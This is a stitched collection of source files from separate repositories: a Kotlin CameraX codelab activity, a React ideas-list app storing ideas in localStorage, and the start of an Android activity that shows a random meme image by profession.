import android.widget.Toast import androidx.appcompat.app.AppCompatActivity import androidx.camera.core.* import androidx.constraintlayout.widget.ConstraintLayout import androidx.core.app.ActivityCompat import androidx.core.content.ContextCompat import com.theartofdev.edmodo.cropper.CropImage import java.io.File import java.util.concurrent.Executors private const val REQUEST_CODE_PERMISSIONS = 10 private val REQUIRED_PERMISSIONS = arrayOf(Manifest.permission.CAMERA) class MainActivity : AppCompatActivity() { override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) requestWindowFeature(Window.FEATURE_NO_TITLE); window.setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN,WindowManager.LayoutParams.FLAG_FULLSCREEN); setContentView(R.layout.activity_main) viewFinder = findViewById<TextureView>(R.id.view_finder) if (allPermissionGranted()) { viewFinder.post { startCamera() } } else { ActivityCompat.requestPermissions( this, REQUIRED_PERMISSIONS, REQUEST_CODE_PERMISSIONS) } // Every time the provided texture view changes, recompute layout viewFinder.addOnLayoutChangeListener { _, _, _, _, _, _, _, _, _ -> updateTransform() } val orientationListener = object : OrientationEventListener(this, SensorManager.SENSOR_DELAY_NORMAL) { override fun onOrientationChanged(orientation: Int) { Log.d("Orientation", orientation.toString()) } } orientationListener.enable() val displayMetrics = DisplayMetrics() windowManager.defaultDisplay.getMetrics(displayMetrics) val height = displayMetrics.heightPixels val width = displayMetrics.widthPixels viewFinder.layoutParams = ConstraintLayout.LayoutParams(width, width * 4 / 3) Log.d("String","${height} ${width}") } private val executor = Executors.newSingleThreadExecutor() private lateinit var viewFinder : TextureView private fun startCamera() { // TODO: Implement CameraX operations // Create configuration object for the viewfinder use case val previewConfig = PreviewConfig.Builder().apply { setTargetResolution(Size(viewFinder.height, viewFinder.width)) }.build() //Build the viewfinder use case val preview = Preview(previewConfig) // Every time the the viewfinder is updated, we must remove it and reload it preview.setOnPreviewOutputUpdateListener { val parent = viewFinder.parent as ViewGroup parent.removeView(viewFinder) parent.addView(viewFinder, 0) viewFinder.surfaceTexture = it.surfaceTexture updateTransform() } val imageCaptureConfig = ImageCaptureConfig.Builder().apply { setCaptureMode(ImageCapture.CaptureMode.MAX_QUALITY) }.build() val imageCapture = ImageCapture(imageCaptureConfig) findViewById<ImageButton>(R.id.capture_button).setOnClickListener { val file = File(externalMediaDirs.first(),"medaca-${System.currentTimeMillis()}.jpg") imageCapture.takePicture(file, executor, object : ImageCapture.OnImageSavedListener { override fun onImageSaved(file: File) { val msg = "Photo capture succeeded: ${file.absolutePath}" Log.d("CameraXApp", msg) viewFinder.post { Toast.makeText(baseContext, msg, Toast.LENGTH_SHORT).show() // startActivity(Intent(this@MainActivity, ImageActivity::class.java).apply { // putExtra("url", file.absolutePath) // }) val uri = Uri.fromFile(file) CropImage.activity(uri) .start(this@MainActivity); } } override fun onError( imageCaptureError: ImageCapture.ImageCaptureError, message: String, cause: Throwable? ) { val msg = "Photo capture failed: $message" Log.e("CameraXApp", msg) viewFinder.post { Toast.makeText(baseContext, msg, Toast.LENGTH_SHORT).show() } } }) } // Bind use case to lifecycle // If AndroidStudio complains about "this" being not a LifecycleOwner // Try to rebuild project or updating the appcompat dependency to version 1.1 or higher CameraX.bindToLifecycle(this, preview, imageCapture) } private fun updateTransform() { // TODO: Implement camera viewfinder transformations val matrix = android.graphics.Matrix() //Compute the center of the view finder val centerX = viewFinder.width / 2f val centerY = viewFinder.width / 2f // Correct preview output to account for display rotation val rotationDegrees = when(viewFinder.display.rotation) { Surface.ROTATION_0 -> 0 Surface.ROTATION_90 -> 90 Surface.ROTATION_180 -> 180 Surface.ROTATION_270 -> 270 else -> return } matrix.postRotate(-rotationDegrees.toFloat(), centerX, centerY) viewFinder.setTransform(matrix) } override fun onRequestPermissionsResult( requestCode: Int, permissions: Array<out String>, grantResults: IntArray ) { super.onRequestPermissionsResult(requestCode, permissions, grantResults) if(requestCode == REQUEST_CODE_PERMISSIONS) { if(allPermissionGranted()) { viewFinder.post { startCamera() } } else { Toast.makeText(this, "Permissions not granted by the user.", Toast.LENGTH_SHORT).show() finish() } } } /** * Check if all permission specified in the manifest have been granted * */ private fun allPermissionGranted() = REQUIRED_PERMISSIONS.all { ContextCompat.checkSelfPermission(baseContext, it) == PackageManager.PERMISSION_GRANTED } } <file_sep>/settings.gradle include ':app' rootProject.name='cameraX-codelab'
058c61fc0f03185831ea5bf9771c586a9967676e
[ "Kotlin", "Gradle" ]
3
Kotlin
tdnhan112569/cameraX-android
24ae9b32cd3b19b98412236a63828162924c2729
9213ba667fdf3e4b32cdcb0af9a6646e46cb9e95
refs/heads/master
<repo_name>cszhu/fellowshipMe<file_sep>/src/components/Idea.js import React from 'react'; class Idea extends React.Component { render() { return ( <div className="col s12 m6 l4"> <div className="card blue-grey darken-1"> <div className="card-content white-text"> <span className="card-title" contentEditable name="title" onBlur={ (event) => this.props.updateTitle(event, this.props.id) }> { this.props.title } </span> <p contentEditable onBlur={ (event) => this.props.updateBody(event, this.props.id) } name="body"> { this.props.body } </p> </div> <div className="card-action"> <button onClick={ () => this.props.destroy(this.props.id) } className='btn'><i className="material-icons left">delete</i> Delete </button> </div> </div> </div> ) } } export default Idea; <file_sep>/src/App.js import React from 'react'; import CreateIdeaForm from './components/CreateIdeaForm' import IdeaList from './components/IdeaList' import Search from './components/Search' class App extends React.Component { constructor() { super() this.state = { ideas: [], allIdeas: [] } } componentDidMount(){ const ideas = JSON.parse(localStorage.getItem('ideas')) || [] this.setState({ ideas: ideas, allIdeas: ideas}) } storeIdea(idea){ this.state.ideas.push(idea); let ideas = this.state.ideas this.setState({ ideas: ideas }, () => this.lstore(ideas)) } lstore(ideas) { localStorage.setItem('ideas', JSON.stringify(ideas)) } destroyIdea(id){ let ideas = this.state.ideas.filter( idea => idea.id !== id ) this.setState({ideas: ideas}, () => this.lstore(ideas)) } updateTitle(event, id){ let ideas = this.state.ideas.map( idea => { if(idea.id === id) { idea.title = event.target.textContent } return idea }) this.setState({ideas: ideas}, () => this.lstore(ideas)) } updateBody(event, id){ console.log(event.target.textContent) let ideas = this.state.ideas.map( idea => { if(idea.id === id) { idea.body = event.target.textContent } return idea }) this.setState({ideas: ideas}, () => this.lstore(ideas)) } // App.js searchIdeas(query){ let ideas = this.state.allIdeas.filter((idea) => { return idea.title.includes(query) || idea.body.includes(query) }); this.setState({ideas: ideas}) } render() { return ( <div className='container'> <CreateIdeaForm saveIdea={ this.storeIdea.bind(this) }/> <Search searchIdeas={this.searchIdeas.bind(this)}/> <IdeaList ideas={this.state.ideas} destroy={this.destroyIdea.bind(this)} updateTitle={this.updateTitle.bind(this)} updateBody={this.updateBody.bind(this)}/> </div> ); } } export default App;
3a3d6664af6fb4bcdcf73f95e916112d0bc514da
[ "JavaScript" ]
2
JavaScript
cszhu/fellowshipMe
fda5d60839f687c3460a8d197ef94f831c4cc187
be05af35331ed8ea0397d1ed685e27bc80c9bef6
refs/heads/main
<file_sep>import Toast from './Toast' const obj = {} obj.install = function(Vue) { // 1 创建组件构造器 const toastConstrustor = Vue.extend(Toast) //2 new的方式,根据组件构造器,可以创建一个组件对象 const toast = new toastConstrustor() // 3 将创建的组件对象挂载($mount)到某个元素上 toast.$mount(document.createElement('div')) // 4 挂载后,toast.$el 就是对应的div document.body.appendChild(toast.$el) //将Toast添加到vue原型上 Vue.prototype.$toast = toast } export default obj<file_sep>import { debouncd } from './utils' export const itemListenerMixin = { data() { return { itemImgListener: null, refresh: null } }, mounted() { //监听总线:图片加载完成 this.refresh = debouncd(this.$refs.scroll.refresh, 500); this.itemImgListener = () => { this.refresh(); }; this.$bus.$on("itemImgLoad", this.itemImgListener); } }<file_sep>import Vue from 'vue'; import { Swipe, SwipeItem } from 'vant'; Vue.use(Swipe); Vue.use(SwipeItem);
90ea6e56f8f741aa2d656e3b2a2c71dbfa6997ad
[ "JavaScript" ]
3
JavaScript
yyy-del/supermall
10c58d248d162c0e3ab9b12633c1e4c4b52078c6
2e3bccd84f8e053a7b94e9e60c55e95480ebd75a
refs/heads/master
<repo_name>jwaliaga/Python-Challenge<file_sep>/PyPoll/main.py import os import csv import numpy as np def getInfoCSVFile(Input): # Read in the CSV file InputFileCSV = Input MyList = [] with open(InputFileCSV, 'r') as csvfile: # Split the data on commas csvreader = csv.reader(csvfile, delimiter=',') csv_header = next(csvreader, None) for row in csvreader: MyList.append(row) return MyList InputFile = "election_data.csv" MyList = getInfoCSVFile(InputFile) TotNumVotes = len(MyList) CandidateListRep = [x[:][2] for x in MyList] CandidateList = [] for x in CandidateListRep: if x not in CandidateList: CandidateList.append(x) CandidateVotes =[] MaxNumVotes = 0 for x in CandidateList: tempo = len([y for y in CandidateListRep if y ==x]) if tempo > MaxNumVotes: MaxNumVotes = tempo Winner = x CandidateVotes.append(tempo) CandidatePer= [x/sum(CandidateVotes) for x in CandidateVotes] print(CandidateList) print(CandidateVotes) print(CandidatePer) print(f'Election Results') print(f'--------------------------------') print(f'Total Votes: {TotNumVotes}') print(f'--------------------------------') for x in range(0,len(CandidateList),1): print(f'{CandidateList[x]} : {"{percent:.3%}".format(percent=CandidatePer[x])} ({CandidateVotes[x]})') print(f'--------------------------------') print(f'Winner : {Winner}') print(f'--------------------------------') file = open("Election.txt","w") file.write('Election Results\n') file.write(f'--------------------------------\n') file.write(f'Total Votes: {TotNumVotes}\n') for x in range(0,len(CandidateList),1): file.write(f'{CandidateList[x]} : {"{percent:.3%}".format(percent=CandidatePer[x])} ({CandidateVotes[x]})\n') file.write(f'--------------------------------\n') file.write(f'Winner : {Winner}\n') file.write(f'--------------------------------\n') file.close() #print(f'Total: {TotPLChng}') #print(f'Average Change: {AvgPLChng}') #print(f'Greatest Increase in Profits: {MaxPLChng}') #print(f'Greatest Decrease in Profits: {MinPLChng}') #In this challenge, you are tasked with helping a small, rural town modernize its vote-counting process. (Up until now, Uncle Cleetus had been trustfully tallying them one-by-one, but unfortunately, his concentration isn't what it used to be.) #You will be give a set of poll data called election_data.csv. The dataset is composed of three columns: Voter ID, County, and Candidate. Your task is to create a Python script that analyzes the votes and calculates each of the following: #The total number of votes cast #A complete list of candidates who received votes #The percentage of votes each candidate won #The total number of votes each candidate won #The winner of the election based on popular vote. #As an example, your analysis should look similar to the one below: # Election Results # ------------------------- # Total Votes: 3521001 #------------------------- # Khan: 63.000% (2218231) # Correy: 20.000% (704200) # Li: 14.000% (492940) # O'Tooley: 3.000% (105630) # ------------------------- # Winner: Khan # ------------------------- #n addition, your final script should both print the analysis to the terminal and export a text file with the results. <file_sep>/PyBank/main.py import os import csv import numpy as np def getInfoCSVFile(Input): # Read in the CSV file InputFileCSV = Input MyList = [] with open(InputFileCSV, 'r') as csvfile: # Split the data on commas csvreader = csv.reader(csvfile, delimiter=',') csv_header = next(csvreader, None) for row in csvreader: MyList.append(row) return MyList def TotalAmount(MyList,Col): y = [float(x[Col]) for x in MyList] return sum(y) def AverageVal(MyList,Col): y = np.asarray([float(x[Col]) for x in MyList]) z = y[range(1,len(y),1)]-y[range(0,len(y)-1,1)] return np.average(z) def MaxVal(MyList,Col): y = np.asarray([float(x[Col]) for x in MyList]) z = y[range(1,len(y),1)]-y[range(0,len(y)-1,1)] index_max = ([i for i in range(0,len(z),1) if z[i]==max(z)]) return max(z), MyList[index_max[0]+1][0] def MinVal(MyList,Col): y = np.asarray([float(x[Col]) for x in MyList]) z = y[range(1,len(y),1)]-y[range(0,len(y)-1,1)] index_min = ([i for i in range(0,len(z),1) if z[i]==min(z)]) return min(z), MyList[index_min[0]+1][0] InputFile = "budget_data.csv" MyList = getInfoCSVFile(InputFile) #print(MyList) TotNumMonths =len(MyList) TotPLChng = TotalAmount(MyList,1) AvgPLChng = AverageVal(MyList,1) MaxPLChng, DateMax = MaxVal(MyList,1) MinPLChng, DateMin = MinVal(MyList,1) #MaxPLChng = '${:,.0f}'.format(MaxPLChng) #MinPLChng = '${:,.0f}'.format(MinPLChng) #TotPLChng = '${:,.0f}'.format(TotPLChng) MaxPLChng = '${:.0f}'.format(MaxPLChng) MinPLChng = '${:.0f}'.format(MinPLChng) TotPLChng = '${:.0f}'.format(TotPLChng) AvgPLChng = '${:.2f}'.format(AvgPLChng) print(f'Financial Analysis') print(f'--------------------------------') print(f'Total Months: {TotNumMonths}') print(f'Total: {TotPLChng}') print(f'Average Change: {AvgPLChng}') print(f'Greatest Increase in Profits: {DateMax} ({MaxPLChng})') print(f'Greatest Decrease in Profits: {DateMin} ({MinPLChng})') file = open("Report-Budget.txt","w+") file.write('Financial Analysis\n') file.write(f'--------------------------------\n') file.write(f'Total Months: {TotNumMonths}\n') file.write(f'Total: {TotPLChng}\n') file.write(f'Average Change: {AvgPLChng}\n') file.write(f'Greatest Increase in Profits: {DateMax} ({MaxPLChng})\n') file.write(f'Greatest Decrease in Profits: {DateMin} ({MinPLChng})\n') file.close() #Your task is to create a Python script that analyzes the records to calculate each of the following: #The total number of months included in the dataset #The net total amount of "Profit/Losses" over the entire period #The average of the changes in "Profit/Losses" over the entire period #The greatest increase in profits (date and amount) over the entire period #The greatest decrease in losses (date and amount) over the entire period #Financial Analysis # ---------------------------- # Total Months: 86 # Total: $38382578 # Average Change: $-2315.12 # Greatest Increase in Profits: Feb-2012 ($1926159) # Greatest Decrease in Profits: Sep-2013 ($-2196167)
651190b256194849018f29d6b0193a3d95a9570c
[ "Python" ]
2
Python
jwaliaga/Python-Challenge
ba9b32e8e2f355076cc05c0704d2b6d6b66db743
1bd5d782be5d1994189aa7af2f14d4ab9ff85726
refs/heads/master
<file_sep>module.exports = { // environment helper 'environment': process.env.ELEVENTY_ENV, 'url': process.env.URL }; <file_sep>--- title: "Introducing Terrastack: Polyglot Terraform supercharged by the CDK" date: 2020-03-12 excerpt: "Terrastack enables you to keep using Terraform as engine, while defining your resources in actual programming languages such as Typescript, Python, Java or C#" tags: - blog - terraform --- Terrastack enables you to keep using [Terraform](https://terraform.io) as engine, while defining your resources in actual programming languages such as Typescript, Python, Java or C# - with more to come (perhaps [Ruby](https://github.com/aws/jsii/issues/144)?). This is made possible by the [Cloud Development Kit (CDK)](https://aws.amazon.com/cdk/) and [jsii](https://github.com/aws/jsii/) for generating the polyglot libraries. While the major use-case for the CDK is generating Cloudformation configuration as YAML, it's capable of generating pretty much any configuration. The actual idea of going forward with Terrastack was inspired by yet another project which leverages the CDK / jsii combo to generate Kubernetes configuration: [cdk8s](https://github.com/awslabs/cdk8s). When I saw that project, I eventually realized that the CDK could be useful for more scenarios than just generating Cloudformation YAML. A first quick prototype was up and running in roughly two evenings. While not all types were properly generated, it was able to generate a simple but working Terraform configuration. {% twitter "1235298514646773760" %} The general workflow is: - Generate a [JSON schema](https://www.terraform.io/docs/commands/providers/schema.html) for a given Terraform provider (e.g. AWS or Google Cloud) with builtin Terraform command - Use this schema as input for a Typescript generator, to generate classes for each Resource and Data type of that provider - Compile polyglot libraries from these generated Typescript classes via jsii - Define your Cloud resources in your prefered language - Generate [Terraform compatible JSON](https://www.terraform.io/docs/configuration/syntax-json.html) and use it as you would any other HCL based Terraform project When looking at these steps, that's pretty much what the CDK team does for Cloudformation. Since Terraform and Cloudformation are both declarative, it's conceptually pretty close. This makes Terraform a perfect contender for getting "CDKified". Similar to the CDK, that's how a simple Terrastack looks like right now {% gist "https://gist.github.com/skorfmann/d70337b2d5089884aa40e5467e89217b", "stack.ts" %} ## Background Finishing up an on premise -> AWS migration utilising Terraform, here are the pain points we've hit on a regular basis over the last two years: - Refactoring is hard - Unless you love digging around in JSON state files - Lack of good dependency management - Most of the product teams, don't actually want to learn a new syntax like HCL. - Terraform Modules are a primitive way to share code. Want to dynamically adapt its definition? Good luck with that. - Code Distribution becomes complex in larger organisations - Ensuring certain configuration standards (think of Tagging, Object Storage / VM configurations) - Git Ops with small components to separate state is more complex than it should be - Established Software Engineering practices like unit / integration tests are hard to implement - HCL / Terraform integration in code editors such as VS Code is poor and mostly broke for us with Terraform 0.12 Terrastack tackles all of the above by leveraging existing technologies: - The Javascript ecosystem - [Cloud Development Kit (CDK)](https://aws.amazon.com/cdk/) - [jsii](https://github.com/aws/jsii/) for polyglot libraries The engine of Terraform and its providers are quite good overall. From my point of view, most of the issues are stemming from the rather static and declarative nature of Terraform. With Terrastack we can start to treat "raw" Terraform configuration as an "assembly" artifact which we can generate in a predictable way. This enables us to tackle most of the pain points above: - Use existing, well established dependency management like NPM or Yarn - Leverage mono repo / build tooling in the respective programming language - Build upon existing testing frameworks for unit and integration tests - Enjoy intellisense of your favourite language in whatever editor you're using right now - Create commonly shared packages of cloud solutions for internal, or even public usage. - Share code which is aimed at the AWS CDK (e.g. Tags, IAM Policies, ECS Task Definitions, Kubernetes config?) I'm still thinking about the refactoring part. My current conclusion is, that there are mainly two things are getting in the way of proper refactorings: - Static naming of resources - Terraform modules aka namespaces I strongly believe, that we can come up with a better concept in Terrastack. But that's for another blog post. ## Summary From the initial very rough prototype, it took about a week to release a bit more polished prototype on Github. {% twitter "1237848600354254849" %} Please check it out and give it a try. I would love to get feedback! {% github "TerraStackIO/terrastack" %} This is the first post of a series regarding Terrastack. In the next post, I'll dive a bit deeper into the internals of the CDK itself and what I've learned about its mechanics so far.<file_sep>--- title: "EC2 Instance Connect meets AWS Session Manager via SSH" date: 2019-07-25 excerpt: "Access ec2 instances via ssh without having to distribute ssh keys" permalink: "blog/aws-ecs-instance-connect-meets-aws-session-manager/" tags: - blog - aws --- [EC2 Instance Connect](https://aws.amazon.com/about-aws/whats-new/2019/06/introducing-amazon-ec2-instance-connect/) meets [AWS Session Manager via SSH](https://aws.amazon.com/about-aws/whats-new/2019/07/session-manager-launches-tunneling-support-for-ssh-and-scp/) Both things have been introduced recently, and let you access even private ec2 instances 1. Without VPN 1. No open SSH port 1. Authentication / Authorization is fully delegated to IAM ``` # Assumes valid AWS Credentials in ENV ssh -v ec2-user@i-002afb820244e392f ``` What this will do (through the `aws-proxy` script below): - Generate a single use ssh key - Push the generated publich key to AWS for the given user of the provided ec2 instance id - Adds the private key to the ssh agent - Create a tunnel through Session Manager - Establish an SSH session The host has to be configured to run: - SSM Agent - ec2-instance-connect Locally, you'll have to have a recent version of the AWS cli and the [SSM plugin](https://docs.aws.amazon.com/systems-manager/latest/userguide/session-manager-working-with-install-plugin.html) {% gist "https://gist.github.com/skorfmann/24169f8e8d4a2aa036f959e8337d5747", "aws-proxy" %} {% gist "https://gist.github.com/skorfmann/24169f8e8d4a2aa036f959e8337d5747", "ssh_config" %}<file_sep>--- title: "Private API Gateway with the AWS CDK " date: 2020-01-22 excerpt: "Setup an private API Gateway with the AWS Cloud Development Kit (CDK)" permalink: "blog/private-api-gateway-with-the-aws-cdk/" tags: - blog - aws-cdk - cdk - aws --- ## Private API Gateway with the AWS CDK - Lambda - Private Api Gateway - VPC Endpoint NB: In order to access the Api Gateway through the public DNS of the VPC endpoint, a curl request has to have the api id as header. See also [here](https://docs.aws.amazon.com/apigateway/latest/developerguide/apigateway-private-apis.html) ``` curl -i -H "x-apigw-api-id: <api-id>" https://vpce-<vpce-id>.execute-api.<region>.vpce.amazonaws.com/ ``` {% gist "https://gist.github.com/skorfmann/6941326b2dd75f52cb67e1853c5f8601", "stack.ts" %}<file_sep>const htmlmin = require("html-minifier") const embeds = require("eleventy-plugin-embed-everything"); const excerpt = require('eleventy-plugin-excerpt'); const outdent = require('outdent') module.exports = eleventyConfig => { eleventyConfig.addPlugin(embeds); eleventyConfig.addPlugin(excerpt); eleventyConfig.addNunjucksShortcode("twitter", function(tweetId) { const domId = `tweet-${tweetId}` return ` <div class="flex lg:justify-center"> <div id="${domId}" tweetID="${tweetId}"></div> </div> <script> window.twttr.ready(function() { var tweet = document.getElementById("${domId}"); var id = tweet.getAttribute("tweetID"); twttr.widgets.createTweet( id, tweet, { conversation : 'none', // or all cards : 'visible', // or visible linkColor : '#cc0000', // default is blue theme : 'light' // or dark }) }); </script> ` }); eleventyConfig.addFilter("jsonTitle", (str) => { return str.replace(/"(.*)"/g, '\\"$1\\"'); }); eleventyConfig.addShortcode("gist", function(url, file) { if (file) { return outdent`<script src="${url}.js?file=${file}"></script>` } else { return outdent`<script src="${url}.js"></script>` } }) eleventyConfig.addShortcode("github", function(slug) { return outdent` <div class="flex items-center justify-center mb-4 py-3 rounded"> <svg fill="currentColor" role="img" aria-hidden="true" width="50" height="50"> <use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="/images/icons/icon-library.svg#icon-github"></use> </svg> <a class="text-2xl font-medium" href="https://www.github.com/${slug}" target="_blank">${slug}</a> </div>` }) // Add a readable date formatter filter to Nunjucks eleventyConfig.addFilter("dateDisplay", require("./filters/dates.js")) // Add a HTML timestamp formatter filter to Nunjucks eleventyConfig.addFilter("htmlDateDisplay", require("./filters/timestamp.js")) // Minify our HTML eleventyConfig.addTransform("htmlmin", (content, outputPath) => { if ( outputPath.endsWith(".html") ) { let minified = htmlmin.minify(content, { useShortDoctype: true, removeComments: true, collapseWhitespace: true }) return minified } return content }) // Collections eleventyConfig.addCollection('blog', collection => { const blogs = collection.getFilteredByTag('blog') for( let i = 0; i < blogs.length; i++ ) { const prevPost = blogs[i - 1] const nextPost = blogs[i + 1] blogs[i].data["prevPost"] = prevPost blogs[i].data["nextPost"] = nextPost } return blogs.reverse() }) // Layout aliases eleventyConfig.addLayoutAlias('default', 'layouts/default.njk') eleventyConfig.addLayoutAlias('post', 'layouts/post.njk') // Include our static assets eleventyConfig.addPassthroughCopy("css") eleventyConfig.addPassthroughCopy("js") eleventyConfig.addPassthroughCopy("images") eleventyConfig.addPassthroughCopy("robots.txt") return { templateFormats: ["md", "njk"], markdownTemplateEngine: 'njk', htmlTemplateEngine: 'njk', passthroughFileCopy: true, dir: { input: 'site', output: 'dist', includes: 'includes', data: 'globals' } } }
8cf9a3eae9849548449ee04bed9c426310599894
[ "JavaScript", "Markdown" ]
5
JavaScript
skorfmann/website-old
98399353269c2bffdd5dfc34cdc618f2b8305dea
8526e28282d1e175e89051e63890156a7079fa50
refs/heads/master
<file_sep>import React, {PropTypes} from "react" import Message from "./Message" import MessageList from "./MessageList" class App extends React.Component { constructor(props) { super(props) this.state = { messages: [ {who: "Person1", text: "Hello"}, {who: "Person2", text: "Goodbye"} ] , selectedMessage: null } } componentWillMount() { this.loadSelectedMessageFromParam(this.props.params.id) } componentWillReceiveProps(props) { this.loadSelectedMessageFromParam(props.params.id) } loadSelectedMessageFromParam(id) { if (id) { this.setState({ selectedMessage: this.state.messages[id] }) } } renderSelectedMessage() { if (this.state.selectedMessage) { const message = this.state.selectedMessage return (<Message message={message} />) } else { return (<span>{"No message selected"}</span>) } } render() { return (<div> <h1>{"Messages"}</h1> <div className="column"> <MessageList messages={this.state.messages} /> </div> <div className="column"> {this.renderSelectedMessage()} </div> </div>) } } App.propTypes = { } export default App<file_sep>import React, {PropTypes} from "react" class Message extends React.Component { constructor(props) { super(props) } render() { return (<div> <ul> <li><i>Who: </i>{this.props.message.who}</li> <li><i>Text: </i>{this.props.message.text}</li> </ul> </div>) } } Message.propTypes = { message: PropTypes.object.isRequired } export default Message<file_sep># react_template Simple template for React using Less, webpack and ES6.
bac3021472ddae6a65bfae10f06a8a28c4205e5b
[ "JavaScript", "Markdown" ]
3
JavaScript
jgoday/react_template
52f234b69c928cf97adaa7fa6ea26d9ea9af7746
a7fa339f56d1f73a263f1ba214667a866bee9039
refs/heads/master
<repo_name>akubi0w1/python-biginner<file_sep>/src/dict/work.py # dict quiz def dict_quiz(): dict = {'google': 'gcp', 'microsoft': 'azure'} # todo: add dict {'amazon': 'aws'} # todo: capitalize value to use str.upper() # ex) 'google': 'gcp' -> 'google': 'GCP' return dict if __name__ == '__main__': dict_quiz()<file_sep>/Dockerfile FROM python:3 WORKDIR /usr/work RUN pip install --upgrade pip <file_sep>/src/list/work.py # list quiz def list_quiz(): list = ['python', 'java', 'go'] # todo: add value to list: 'ruby' # todo: add suffix '_lang' to use enumerate # ex) python -> python_lang, go -> go_lang, ... return list if __name__ == '__main__': list_quiz()<file_sep>/src/loop/test_work.py import unittest from work import loop_quiz class TestLoopQuiz(unittest.TestCase): def test_loop(self): expect = ['Avocado', 'Omelette_rice', 'Apple'] actual = loop_quiz() self.assertEqual(actual, expect) if __name__ == '__main__': unittest.main()<file_sep>/src/map/work.py # 内包省略 def map_quiz(): result = None values = ['omelette_rice', 'green_pepper', 'ice_cream'] # todo: 文字列を'_'から'-'に変換した配列を取得 # 条件: lambda式、map関数を用いて一行で記述 # str.replace('_', '-')で変換可能 return result if __name__ == '__main__': map_quiz()<file_sep>/install.sh #!/bin/bash # install python package docker exec python3 pip install ${@:1}<file_sep>/src/loop/work.py # 内包省略 def loop_quiz(): result = None list = ['avocado', 'cucumber', 'omelette_rice', 'apple', 'green_pepper'] # todo: 以下の処理を省略記法で書く # 処理: 文字数が偶数の要素に対して、先頭の文字のみを大文字にした配列を取得 # ex) avocado -> Avocado, cucumber -> 含まない # 先頭のみ大文字: str.capitalize() return result if __name__ == '__main__': loop_quiz()<file_sep>/src/dict/test_work.py import unittest from work import dict_quiz class TestDictQuiz(unittest.TestCase): def test_dict(self): expect = {'google': 'GCP', 'microsoft': 'AZURE', 'amazon': 'AWS'} actual = dict_quiz() self.assertEqual(actual, expect) if __name__ == '__main__': unittest.main()<file_sep>/test.sh #!/bin/bash type=$1 if [ "$type" = "" ]; then echo "need arg: list, dict, loop or map" exit 1 fi echo "$0: run $type test script" ./exec.sh src/$type/test_work.py -v echo "$0: finish test script"<file_sep>/exec.sh #!/bin/bash if [ "$1" = "" ]; then echo "need arg: file path" exit 1 fi # exexute python docker exec python3 python $1 ${@:2}<file_sep>/src/map/test_work.py import unittest from work import map_quiz class TestMapQuiz(unittest.TestCase): def test_map(self): expect = ['omelette-rice', 'green-pepper', 'ice-cream'] actual = map_quiz() self.assertEqual(actual, expect) if __name__ == '__main__': unittest.main()<file_sep>/README.md # python lecture ## 環境 1. このリポジトリをclone 2. ローカルで、cloneしたディレクトリに移動 3. `docker-compose up -d` 4. `./exec.sh src/main.py`して、`hello python!`と出力されればおk ./exec.shでpermission errorが出たら、`chmod u+x exec.sh install.sh test.sh`してください ## 実行 ### pythonファイルの実行 `./exec.sh filePath [opt...]` ### テストの実行 `./test.sh list|dict|loop|map`<file_sep>/src/list/test_work.py import unittest from work import list_quiz class TestListQuiz(unittest.TestCase): def test_append_and_enum(self): expect = ['python_lang', 'java_lang', 'go_lang', 'ruby_lang'] actual = list_quiz() self.assertEqual(actual, expect) if __name__ == '__main__': unittest.main()
07c7a2de17ead0817af9195913ae842782748ed2
[ "Markdown", "Python", "Dockerfile", "Shell" ]
13
Python
akubi0w1/python-biginner
2d235c037448ba64b58c0ad8d2d7c573d26194b5
5fc19aef23faac18ee081e90b53e660446c4e6ed
refs/heads/master
<repo_name>nt-williams/SuperCuts<file_sep>/README.md <!-- README.md is generated from README.Rmd. Please edit that file --> # SuperCuts <!-- badges: start --> <!-- badges: end --> Rstudio addins for binding to keyboard shortcuts\! ## Installation You can install `SuperCuts` from [GitHub](https://github.com/nt-williams/SuperCuts) with: ``` r # install.packages("devtools") devtools::install_github("nt-williams/SuperCuts") ``` ## Available addins - `insertRm()` → `rm(list = ls())` - `insertIn()` → `%in%` - `insertBizzarro` → `->.;` - `insertWraprPipe()` → `%.>%` ## Contributing If you’d like to contribute an addin please submit a PR\! For continuity, functions should be named using camel case and should begin with `insert`. <file_sep>/R/shortcuts.R insertBizzarro <- function() { rstudioapi::insertText(" ->.; ") } insertRm <- function() { rstudioapi::insertText("rm(list = ls())") } insertWraprPipe <- function() { rstudioapi::insertText(" %.>% ") } insertIn <- function() { rstudioapi::insertText(" %in% ") } <file_sep>/README.Rmd --- output: github_document --- <!-- README.md is generated from README.Rmd. Please edit that file --> ```{r, include = FALSE} knitr::opts_chunk$set( collapse = TRUE, comment = "#>", fig.path = "man/figures/README-", out.width = "100%" ) ``` # SuperCuts <!-- badges: start --> <!-- badges: end --> Rstudio addins for binding to keyboard shortcuts! ## Installation You can install `SuperCuts` from [GitHub](https://github.com/nt-williams/SuperCuts) with: ``` r # install.packages("devtools") devtools::install_github("nt-williams/SuperCuts") ``` ## Available addins * `insertRm()` → `rm(list = ls())` * `insertIn()` → ` %in% ` * `insertBizzarro` → ` ->.; ` * `insertWraprPipe()` → ` %.>% ` ## Contributing If you'd like to contribute an addin please submit a PR! For continuity, functions should be named using camel case and should begin with `insert`.
405fb9f34cc0c5eb74e6ee062d5e51a0d1f4d9c2
[ "Markdown", "R", "RMarkdown" ]
3
Markdown
nt-williams/SuperCuts
b53ed55a42ec966eefa9e2060bcd422c8014988d
ab10a4d46a4e78d76d3ca39095e6dd246acce834
refs/heads/master
<file_sep>package com.example.funnyimageapp; import androidx.appcompat.app.AppCompatActivity; import android.content.Intent; import android.os.Bundle; import android.util.Log; import android.view.View; import android.widget.ImageView; import java.util.ArrayList; import java.util.Random; public class showmeme extends AppCompatActivity { ImageView imageView; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_showmeme); Random random = new Random(); imageView = findViewById(R.id.imageView4); int rand; switch(profession.profession){ case 0: rand = random.nextInt(2); switch(rand){ case 1: imageView.setImageResource(R.drawable.computer2); break; case 2: imageView.setImageResource(R.drawable.computer3); break; case 0: default: imageView.setImageResource(R.drawable.computer1); break; } break; case 1: rand = random.nextInt(1); switch(rand){ case 1: imageView.setImageResource(R.drawable.doctor2); break; case 0: default: imageView.setImageResource(R.drawable.doctor1); break; } break; case 2: rand = random.nextInt(1); switch(rand){ case 1: imageView.setImageResource(R.drawable.scientist1); break; case 0: default: imageView.setImageResource(R.drawable.scientist2); break; } break; case 4: rand = random.nextInt(2); switch(rand){ case 1: imageView.setImageResource(R.drawable.student1); 